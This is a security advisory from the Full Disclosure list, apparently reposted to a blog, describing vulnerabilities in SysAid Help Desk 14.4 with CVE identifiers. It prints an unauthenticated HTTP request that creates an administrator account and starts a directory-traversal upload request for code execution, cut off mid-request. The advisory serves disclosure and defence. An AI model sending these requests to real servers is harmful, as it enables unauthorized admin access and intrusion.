[FD] [Multiple CVE's]: various critical vulnerabilities in SysAid Help Desk (RCE, file download, DoS, etc)

Hi, tl;dr Found lots of vulns in SysAid Help Desk 14.4, including RCE. SysAid have informed me they all have been fixed in 15.2, but no re-test was performed. Full advisory below, and a copy can be obtained at [1]. 5 Metasploit modules have been released and currently awaiting merge in the moderation queue [2]. Regards, Pedro [1]: http://ift.tt/1Q7WeRR [2]: http://ift.tt/1EXE4WX http://ift.tt/1Q7WcZZ http://ift.tt/1EXE4WZ http://ift.tt/1Q7Wd01 http://ift.tt/1EXE6hF >> Multiple vulnerabilities in SysAid Help Desk 14.4 >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ================================================================================= Disclosure: 03/06/2015 / Last updated: 03/06/2015 >> Background on the affected product: "SysAid is an ITSM solution that offers all the essentials, with everything you need for easy and efficient IT support and effective help desk operations. Its rich set of features includes a powerful service desk, asset management and discovery, self-service, and easy-to-use tools for understanding and optimizing IT performance." Metasploit modules that exploit #1, #2, #3, #4, #5 and #6 have been released and should be integrated in the Metasploit framework soon. All vulnerabilities affect both the Windows and Linux versions unless otherwise noted. >> Technical details: 1) Vulnerability: Administrator account creation CVE-2015-2993 (same CVE as #10) Constraints: none; no authentication or any other information needed Affected versions: unknown, at least 14.4 GET /sysaid/createnewaccount?accountID=1337&organizationName=sysaid&userName=mr_lit&password=secret&masterPassword=master123 This creates an account with the following credentials: mr_lit:secret Note that this vulnerability only seems to be exploitable ONCE! Subsequent attempts to exploit it will fail even if the tomcat server is restarted. 2) Vulnerability: File upload via directory traversal (authenticated; leading to remote code execution) CVE-2015-2994 Constraints: valid administrator account needed (see #1 to create a valid admin account) Affected versions: unknown, at least 14.4 POST /sysaid/ChangePhoto.jsp?isUpload=true HTTP/1.1 Content-Type: multipart/form-data; boundary

Source: Gmail -> IFTTT-> Blogger